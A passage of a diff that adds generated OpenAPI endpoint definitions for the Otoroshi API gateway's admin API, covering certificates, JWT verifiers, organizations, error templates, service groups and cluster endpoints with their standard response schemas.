Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "description" : "Resource of kind Team", + "$ref" : "#/components/schemas/organize.otoroshi.io.Team" + } + } + } + } + } + } + }, + "/apis/pki.otoroshi.io/v1/certificates" : { + "get" : { + "tags" : [ "certificate", "pki.otoroshi.io" ], + "summary" : "Find all possible Certificate entities", + "operationId" : "pki.otoroshi.io.Certificate.findAll", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "type" : "array", + "items" : { + "$ref" : "#/components/schemas/pki.otoroshi.io.Certificate" + } + } + } + } + } + } + }, + "post" : { + "tags" : [ "certificate", "pki.otoroshi.io" ], + "summary" : "Creates a Certificate", + "operationId" : "pki.otoroshi.io.Certificate.create", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "201" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/pki.otoroshi.io.Certificate" + } + } + } + } + }, + "requestBody" : { + "description" : "the request body in nd-json format (1 stringified entity per line)", + "required" : true, + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/pki.otoroshi.io.Certificate" + } + } + } + } + } + }, + "/apis/security.otoroshi.io/v1/jwt-verifiers" : { + "get" : { + "tags" : [ "jwt-verifier", "security.otoroshi.io" ], + "summary" : "Find all possible JwtVerifier entities", + "operationId" : "security.otoroshi.io.JwtVerifier.findAll", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "type" : "array", + "items" : { + "$ref" : "#/components/schemas/security.otoroshi.io.JwtVerifier" + } + } + } + } + } + } + }, + "post" : { + "tags" : [ "jwt-verifier", "security.otoroshi.io" ], + "summary" : "Creates a JwtVerifier", + "operationId" : "security.otoroshi.io.JwtVerifier.create", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "201" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/security.otoroshi.io.JwtVerifier" + } + } + } + } + }, + "requestBody" : { + "description" : "the request body in nd-json format (1 stringified entity per line)", + "required" : true, + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/security.otoroshi.io.JwtVerifier" + } + } + } + } + } + }, + "/apis/security.otoroshi.io/v1/jwt-verifiers/_count" : { + "get" : { + "tags" : [ "jwt-verifier", "security.otoroshi.io" ], + "summary" : "Get number of entity of kind JwtVerifier", + "operationId" : "security.otoroshi.io.JwtVerifier.count", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "description" : "Resources count", + "type" : "object", + "properties" : { + "count" : { + "type" : "number", + "description" : "the number of resources" + } + } + } + } + } + } + } + } + }, + "/apis/organize.otoroshi.io/v1/organizations/{id}" : { + "get" : { + "tags" : [ "organization", "organize.otoroshi.io" ], + "summary" : "Find resource of kind Organization by its id", + "operationId" : "organize.otoroshi.io.Organization.findById", + "parameters" : [ { + "name" : "id", + "in" : "path", + "schema" : { + "type" : "string" + }, + "required" : true, + "description" : "The id param of the target entity" + } ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "description" : "Resource of kind Organization", + "$ref" : "#/components/schemas/organize.otoroshi.io.Organization" + } + } + } + } + } + }, + "put" : { + "tags" : [ "organization", "organize.otoroshi.io" ], + "summary" : "Updates a specific Organization using its id", + "operationId" : "organize.otoroshi.io.Organization.updateById", + "parameters" : [ { + "name" : "id", + "in" : "path", + "schema" : { + "type" : "string" + }, + "required" : true, + "description" : "The id param of the target entity" + } ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/organize.otoroshi.io.Organization" + } + } + } + } + }, + "requestBody" : { + "description" : "the request body in nd-json format (1 stringified entity per line)", + "required" : true, + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/organize.otoroshi.io.Organization" + } + } + } + } + }, + "patch" : { + "tags" : [ "organization", "organize.otoroshi.io" ], + "summary" : "Updates (using json-patch) a specific Organization using its id", + "operationId" : "organize.otoroshi.io.Organization.pathById", + "parameters" : [ { + "name" : "id", + "in" : "path", + "schema" : { + "type" : "string" + }, + "required" : true, + "description" : "The id param of the target entity" + } ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/organize.otoroshi.io.Organization" + } + } + } + } + }, + "requestBody" : { + "description" : "the request body in nd-json format (1 stringified entity per line)", + "required" : true, + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/organize.otoroshi.io.Organization" + } + } + } + } + }, + "delete" : { + "tags" : [ "organization", "organize.otoroshi.io" ], + "summary" : "Deletes a specific Organization using its id", + "operationId" : "organize.otoroshi.io.Organization.deleteById", + "parameters" : [ { + "name" : "id", + "in" : "path", + "schema" : { + "type" : "string" + }, + "required" : true, + "description" : "The id param of the target entity" + } ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/organize.otoroshi.io.Organization" + } + } + } + } + } + } + }, + "/apis/green-score.extensions.otoroshi.io/v1/green-scores/_bulk" : { + "post" : { + "tags" : [ "green-score", "green-score.extensions.otoroshi.io" ], + "summary" : "Create multiple GreenScore at the same time", + "operationId" : "green-score.extensions.otoroshi.io.GreenScore.bulk_create", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/BulkResponseBody" + } + } + } + } + }, + "requestBody" : { + "description" : "the request body in nd-json format (1 stringified entity per line)", + "required" : false, + "content" : { + "application/x-ndjson" : { + "schema" : { + "type" : "array", + "items" : { + "$ref" : "#/components/schemas/green-score.extensions.otoroshi.io.GreenScore" + } + } + } + } + } + }, + "put" : { + "tags" : [ "green-score", "green-score.extensions.otoroshi.io" ], + "summary" : "Update multiple GreenScore at the same time", + "operationId" : "green-score.extensions.otoroshi.io.GreenScore.bulk_update", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/BulkResponseBody" + } + } + } + } + }, + "requestBody" : { + "description" : "the request body in nd-json format (1 stringified entity per line)", + "required" : false, + "content" : { + "application/x-ndjson" : { + "schema" : { + "type" : "array", + "items" : { + "$ref" : "#/components/schemas/green-score.extensions.otoroshi.io.GreenScore" + } + } + } + } + } + }, + "patch" : { + "tags" : [ "green-score", "green-score.extensions.otoroshi.io" ], + "summary" : "Update (using json-patch) multiple GreenScore at the same time", + "operationId" : "green-score.extensions.otoroshi.io.GreenScore.bulk_patch", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/BulkResponseBody" + } + } + } + } + }, + "requestBody" : { + "description" : "the request body in nd-json format (1 stringified entity per line)", + "required" : false, + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/BulkPatchBody" + } + } + } + } + }, + "delete" : { + "tags" : [ "green-score", "green-score.extensions.otoroshi.io" ], + "summary" : "Delete multiple GreenScore at the same time", + "operationId" : "green-score.extensions.otoroshi.io.GreenScore.bulk_delete", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/BulkResponseBody" + } + } + } + } + } + } + }, + "/apis/apim.otoroshi.io/v1/apikeys/_template" : { + "get" : { + "tags" : [ "apikey", "apim.otoroshi.io" ], + "summary" : "Return a template of a resource of kind Apikey", + "operationId" : "apim.otoroshi.io.Apikey.template", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "description" : "Resource of kind Apikey", + "$ref" : "#/components/schemas/apim.otoroshi.io.Apikey" + } + } + } + } + } + } + }, + "/apis/proxy.otoroshi.io/v1/error-templates/{id}" : { + "get" : { + "tags" : [ "error-templates", "proxy.otoroshi.io" ], + "summary" : "Find resource of kind ErrorTemplate by its id", + "operationId" : "proxy.otoroshi.io.ErrorTemplate.findById", + "parameters" : [ { + "name" : "id", + "in" : "path", + "schema" : { + "type" : "string" + }, + "required" : true, + "description" : "The id param of the target entity" + } ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "description" : "Resource of kind ErrorTemplate", + "$ref" : "#/components/schemas/proxy.otoroshi.io.ErrorTemplate" + } + } + } + } + } + }, + "put" : { + "tags" : [ "error-templates", "proxy.otoroshi.io" ], + "summary" : "Updates a specific ErrorTemplate using its id", + "operationId" : "proxy.otoroshi.io.ErrorTemplate.updateById", + "parameters" : [ { + "name" : "id", + "in" : "path", + "schema" : { + "type" : "string" + }, + "required" : true, + "description" : "The id param of the target entity" + } ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/proxy.otoroshi.io.ErrorTemplate" + } + } + } + } + }, + "requestBody" : { + "description" : "the request body in nd-json format (1 stringified entity per line)", + "required" : true, + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/proxy.otoroshi.io.ErrorTemplate" + } + } + } + } + }, + "patch" : { + "tags" : [ "error-templates", "proxy.otoroshi.io" ], + "summary" : "Updates (using json-patch) a specific ErrorTemplate using its id", + "operationId" : "proxy.otoroshi.io.ErrorTemplate.pathById", + "parameters" : [ { + "name" : "id", + "in" : "path", + "schema" : { + "type" : "string" + }, + "required" : true, + "description" : "The id param of the target entity" + } ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/proxy.otoroshi.io.ErrorTemplate" + } + } + } + } + }, + "requestBody" : { + "description" : "the request body in nd-json format (1 stringified entity per line)", + "required" : true, + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/proxy.otoroshi.io.ErrorTemplate" + } + } + } + } + }, + "delete" : { + "tags" : [ "error-templates", "proxy.otoroshi.io" ], + "summary" : "Deletes a specific ErrorTemplate using its id", + "operationId" : "proxy.otoroshi.io.ErrorTemplate.deleteById", + "parameters" : [ { + "name" : "id", + "in" : "path", + "schema" : { + "type" : "string" + }, + "required" : true, + "description" : "The id param of the target entity" + } ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/proxy.otoroshi.io.ErrorTemplate" + } + } + } + } + } + } + }, + "/apis/coraza-waf.extensions.otoroshi.io/v1/coraza-configs/_count" : { + "get" : { + "tags" : [ "coraza-config", "coraza-waf.extensions.otoroshi.io" ], + "summary" : "Get number of entity of kind CorazaConfig", + "operationId" : "coraza-waf.extensions.otoroshi.io.CorazaConfig.count", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "description" : "Resources count", + "type" : "object", + "properties" : { + "count" : { + "type" : "number", + "description" : "the number of resources" + } + } + } + } + } + } + } + } + }, + "/apis/organize.otoroshi.io/v1/service-groups/_bulk" : { + "post" : { + "tags" : [ "service-group", "organize.otoroshi.io" ], + "summary" : "Create multiple ServiceGroup at the same time", + "operationId" : "organize.otoroshi.io.ServiceGroup.bulk_create", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/BulkResponseBody" + } + } + } + } + }, + "requestBody" : { + "description" : "the request body in nd-json format (1 stringified entity per line)", + "required" : false, + "content" : { + "application/x-ndjson" : { + "schema" : { + "type" : "array", + "items" : { + "$ref" : "#/components/schemas/organize.otoroshi.io.ServiceGroup" + } + } + } + } + } + }, + "put" : { + "tags" : [ "service-group", "organize.otoroshi.io" ], + "summary" : "Update multiple ServiceGroup at the same time", + "operationId" : "organize.otoroshi.io.ServiceGroup.bulk_update", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/BulkResponseBody" + } + } + } + } + }, + "requestBody" : { + "description" : "the request body in nd-json format (1 stringified entity per line)", + "required" : false, + "content" : { + "application/x-ndjson" : { + "schema" : { + "type" : "array", + "items" : { + "$ref" : "#/components/schemas/organize.otoroshi.io.ServiceGroup" + } + } + } + } + } + }, + "patch" : { + "tags" : [ "service-group", "organize.otoroshi.io" ], + "summary" : "Update (using json-patch) multiple ServiceGroup at the same time", + "operationId" : "organize.otoroshi.io.ServiceGroup.bulk_patch", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/BulkResponseBody" + } + } + } + } + }, + "requestBody" : { + "description" : "the request body in nd-json format (1 stringified entity per line)", + "required" : false, + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/BulkPatchBody" + } + } + } + } + }, + "delete" : { + "tags" : [ "service-group", "organize.otoroshi.io" ], + "summary" : "Delete multiple ServiceGroup at the same time", + "operationId" : "organize.otoroshi.io.ServiceGroup.bulk_delete", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/BulkResponseBody" + } + } + } + } + } + } + }, + "/api/cluster/sessions/{id}" : { + "get" : { + "tags" : [ "cluster" ], + "summary" : "???", + "operationId" : "otoroshi.controllers.adminapi.ClusterController.isSessionValid", + "parameters" : [ { + "name" : "id", + "in" : "path", + "schema" : { + "type" : "string" + }, + "required" : true, + "description" : "the id parameter" + } ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "description" : "unknown type", + "type" : "object" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + } + } + } + }, + "/api/cluster/user-tokens" : { + "post" : { + "tags" : [ "cluster" ], + "summary" : "???", + "operationId" : "otoroshi.controllers.adminapi.ClusterController.setUserToken", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "description" : "unknown type", + "type" : "object" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + } + }, + "requestBody" : { + "description" : "the request body", + "required" : true, + "content" : { + "application/json" : { + "schema" : { + "description" : "unknown type", + "type" : "object" + } + } + } + } + } + }, + "/apis/foo.extensions.otoroshi.io/v1/foos" : { + "get" : { + "tags" : [ "foo", "foo.extensions.otoroshi.io" ], + "summary" : "Find all possible Foo entities", + "operationId" : "foo.extensions.otoroshi.io.Foo.findAll", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + 